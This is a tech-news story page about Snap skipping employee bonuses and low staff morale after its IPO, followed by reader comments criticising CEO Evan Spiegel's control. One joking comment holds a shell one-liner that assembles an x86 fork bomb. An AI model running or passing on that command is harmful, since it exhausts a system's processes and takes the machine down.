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Snap Said To Skip Bonuses, Combat Morale Slump After Rough Year (bloomberg.com)
An anonymous reader shares a report: On Wednesday, Snap (parent company of messaging service Snapchat) sent employees a survey asking a broad set of questions to understand what they're happy about, what they want to improve, and what they want to say, anonymously, one year after the company's initial public offering. Grievances will be aired. Just last month, the company reported revenue that beat Wall Street's projections for the first time, causing the stock to surge 47 percent. Internally, the picture isn't as celebratory. The year involved a complete rethinking of the advertising business, an exodus of top executives, a broadly critiqued redesign of the Snapchat photo-sharing application and stiff competition from Facebook's Instagram, leaving the shares close to their IPO price. While Snap topped Wall Street's estimates last quarter, employees were told they didn't beat internal goals -- and wouldn't be getting cash bonuses, according to people familiar with the matter.
Snap's internal targets weren't defined for employees, but that wasn't a surprise at a company where Chief Executive Officer Evan Spiegel tightly controls aspects of the business he cares about -- especially the spread of information, said the people, who asked not to be identified discussing internal matters. There is a sense among employees that since going public, Snap has only become more beholden to the one shareholder who matters: Spiegel.
Snap's internal targets weren't defined for employees, but that wasn't a surprise at a company where Chief Executive Officer Evan Spiegel tightly controls aspects of the business he cares about -- especially the spread of information, said the people, who asked not to be identified discussing internal matters. There is a sense among employees that since going public, Snap has only become more beholden to the one shareholder who matters: Spiegel.
It's been a rough few days for /. too
if their damn company sucks so much could they please stop sucking up all the real estate on the west side of LA?
you'll gain his powers.
vote cannibalism party this election.
Did the upper management still get their bonuses though, I mean gotta keep that talent? I'm sure knowing that their bonuses will be taken away despite the company doing better will cause excellent engineers to just knock their door down.
It's a site that targets fickle millennial and gen z. The could be on top today and something no one would touch next week. Investing in such companies should be considered just as much gambling as bitcoin is.
Logically if target is never defined there are no way to for any employee outside of the CxO circle “in the loop” to ever strive to work hard to meet the goal.
Who knows, it might have been a ruse to wriggle out their unspoken obligation to pay bonus. But the whole premise is logically flawed and no one trust the management anymore once they somehow are told they missed the target even though they exceed expectations.
A smarmy scumbag from the Standford Butt-Buddies old boys' network, head of a loss-making surveillance company that survives by sucking QE money from the venture capital teat, contemptuously mistreats his employees and keeps all the ill-gotten lucre for himself and his cronies.
Is anyone at all shocked by this? Venture capitalists and their running dogs will *always* exploit tech workers. So long as we as an industry refuse to act with solidarity, no one should be surprised when the boot he's licking decides to give him a good kick in the face.
If the management betrays the employees the employees should start looking for a new job.
... until morale improves
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
And why do the founders want to stay in charge once they've made a fortune?
I get why you would want some founders to stay in charge, there are certain businesses where the founder may actually provide significant product input or be deeply involved in design decisions due to specialized knowledge or experience. But in a lot of these businesses, once "version 1.0" comes out that actually implements the main idea, is the founder's further input really all that important? Especially with Snapchat, it's kind of a one-big-idea kind of company.
I would think VCs would be really interested in marginalizing the Spiegels with the idea that they don't really know how to run a giant company and they also run the risk of letting their egos run rampant and ruin the company since their self-image is so wed to it, especially as owner/managers, and it's not like they need him for more big ideas.
Are VCs all bought into the "genius CEO" concept so much that they fail to see the difference between an actual rare genius (maybe Page/Brin, Jobs, Musk) and a one-hit wonder?
And then I wonder why you'd want to bother sticking around to run a company like Snapchat once you've made a fortune. I mean, is all his Machiavellian bullshit at Snapchat really worth it? I suppose there's some aspect for entrepreneurs where money isn't the point, but I can't imagine Spiegel's Kremlin-level control at Snap is really all that energizing, it sounds very draining.
I think what hurt Snapchat (besides its much-hated user interface change recently) was the fact their user base is a small fraction of the Facebook-owned Instagram, especially when Instagram starting taking most of Snapchat's feature set. I'm actually kind of surprised that Snap, Inc. didn't sue Facebook for possibly illegally duplicating many of Snapchat's features.
No bonus because you didn't meet the targets that we didn't define for you.
Doesn't seem like it could possibly be true.
If it is, it seems like a great way to get most of their best talent to leave.